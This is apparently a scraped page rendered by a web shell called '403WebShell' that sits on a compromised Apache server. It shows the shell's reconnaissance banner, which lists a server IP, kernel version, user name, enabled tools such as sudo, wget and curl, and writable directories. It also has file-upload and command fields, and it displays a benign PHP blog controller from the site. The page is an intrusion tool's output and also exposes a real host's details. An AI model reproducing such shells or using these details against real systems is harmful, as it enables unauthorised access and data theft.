Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.217.68
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/brainwavemx/app/Controller/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/brainwavemx/app/Controller/frontend/BlogController.php
<?php

declare(strict_types=1);

namespace App\Controller\Frontend;

use App\Helper\FileUpload;
use App\Model\BlogModel;
use Mosaico\Controller\BaseController;
use App\DataFile\Data;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class BlogController extends BaseController
{
    protected $blogmodel;

    public function __construct()
    {
       $this->blogmodel = new BlogModel();
    }

    /**
     * Post List
     * @return string           [description]
     */
    public function blogHome(): string
    {
        $blogModel = new BlogModel();
        $posts = $blogModel->getPosts();
        return $this->template(
            'frontend/home',
            [
                'posts' => $posts,
            ]
        );
    }

    public function blogList(): string
    {
        return $this->template(
            'frontend/blogPortos',
            [
                'name' => 'Blog',
                'tags' => $this->blogmodel->getTags(),
                'posts' => $this->blogmodel->getAllPosts()
            ]
        );
    }

    public function blogListTag(Request $request): string
    {
        $tag = $this->blogmodel->getTag($request->get('url_tag'))->row;
        return $this->template(
            'frontend/blogPortos',
            [
                'name' => 'Blog ' . $tag['tag_name'],
                'tags' => $this->blogmodel->getTags(),
                'posts' => $this->blogmodel->getTagPosts($tag['id_tag'])    
            ]
        );
    }

    public function blogPost(Request $request): string
    {
        $post = $this->blogmodel->getPost($request->get('id'));
        if ($post->num_rows > 0) :
            $postTags = $this->blogmodel->getPostTags($post->row['id_post']);
            return $this->template(
                'frontend/postPortos',
                [
                    'name' => 'Post',
                    'tags' => $this->blogmodel->getTags(),
                    'post' => $post->row,
                    'postTags' => $postTags
                ]
            );
        else :
            header('HTTP/1.0 404 Not Found');
            return $this->template(
            'frontend/404',
            [
                'msg' => 'Page not Found! ',
                'status' => ''
            ]
        );
        endif;    
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit